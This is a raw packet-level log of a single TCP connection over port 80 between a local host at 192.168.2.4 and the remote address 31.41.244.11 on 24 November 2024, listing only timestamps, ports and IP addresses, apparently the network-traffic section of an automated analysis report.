Nov 24, 2024 14:24:12.599638939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.599692106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.599813938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.599860907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.603271008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.603307962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.603338957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.603349924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.606827974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.606977940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.607032061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.610281944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.610430956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.610497952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.613938093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.614094019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.614156961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.617583990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.617619038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.617682934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.621042013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.625051975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.684751034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.684938908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.685008049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.685535908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.685672045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.685728073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.688283920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.688344955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.688421011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.689038038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.690963984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.691015005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.691090107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.691142082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.693665028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.693759918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.693814039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.696288109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.696417093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.696470976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.698873043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.698992014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.699038029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.701467991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.701594114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.701644897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.703989983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.704042912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.704122066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.705105066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.706495047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.706552029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.706680059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.706728935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.708967924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.709023952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.709075928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.709132910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.711436033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.711488008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.711559057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.711608887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.714098930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.714154005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.714205980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.716167927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.716279984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.716331959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.718580008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.718821049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.718872070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.720900059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.720952988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.721030951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.723198891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.723248005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.723295927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.725146055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.725506067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.725631952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.725692034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.727818012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.727957010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.728009939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.730096102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.730283022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.730334997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.732424974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.732475042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.732583046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.733037949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.734656096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.734707117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.734823942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.736936092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.736984968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.737035990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.739042997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.739097118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.739165068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.739207983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.741210938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.741339922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.741394043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.742497921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.742639065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.742691040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.743741035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.743793964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.743879080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.745035887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.745047092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.745089054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.745229006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.745281935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.746313095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.746365070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.746417999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.746469021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.747576952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.747628927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.747698069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.747747898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.748806953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.748861074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.748941898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.748989105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.750066042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.750205994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.750251055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.751346111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.751456976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.751509905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.752630949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.752680063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.752796888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.753046036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.753871918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.753931046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.753962994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.754012108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.755281925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.755464077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.755516052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.756491899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.756613016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.756665945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.757761955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.757952929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.758004904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.758954048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.759006023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.759088993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.760238886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.760289907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.760349989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.761035919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.761615992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.761763096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.761811972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.762774944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.762942076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.762993097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.764035940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.764090061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.764162064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.765039921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.765338898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.765388966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.765485048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.765532970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.766678095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.766730070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.766763926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.766814947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.767776966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.767884970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.767913103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.767957926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.769107103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.769212961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.769262075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.770319939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.770435095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.770484924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.771579981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.771629095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.771653891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.772861004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.772912979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.772916079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.773036003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.774082899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.774339914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.774391890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.775489092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.775525093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.775577068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.886375904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.886442900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.886547089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.886693954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.886955976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.887007952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.887084007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.887134075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.888175011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.888223886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.888298035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.888339996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.889285088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.889337063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.889415979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.889465094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.890444994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.890492916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.890647888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.890752077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.891581059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.891732931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.891783953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.892793894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.892848015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.892911911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.892961979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.893907070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.893960953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.894026041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.894073963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.895057917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.895107985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.895167112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.895214081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.896184921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.896233082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.896466970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.896514893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.897623062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.897694111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.897749901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.898602962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.898792028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.898859978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.899667025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.899720907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.899940968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.899990082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.900820017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.900871038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.900935888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.900985003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.902029037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.902079105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.902106047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.902153969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.903147936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.903199911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.903351068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.903398991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.904508114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.904544115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.904556036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.904587030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.905358076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.905416965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.905492067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.905556917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.906375885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.906472921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.906586885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.906666994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.907412052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.907464027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.907593966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.907644033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.908464909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.908514023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.908520937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.908569098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.909499884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.909549952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.909612894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.909660101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.910592079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.910641909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.910649061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.910696030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.911639929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.911688089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.911740065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.911787987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.912689924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.912736893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.912817001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.912864923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.913736105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.913788080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.913913965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.913963079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.914750099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.914800882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.914875984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.914923906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.915790081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.915838957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.915906906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.915950060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.916918993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.916968107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.917049885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.917098999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.917927980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.917977095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.918153048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.918201923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.918946028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.919004917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.919059038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.919106007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.920001030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.920052052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.920099020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.920145988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.921061039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.921112061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.921179056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.921227932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.922103882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.922152996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.922219992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.922286034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.923146009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.923209906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.923238993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.923285961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.924186945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:12.924236059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:12.924303055 CET	80	49760	31.41.244.11	192.168.2.4
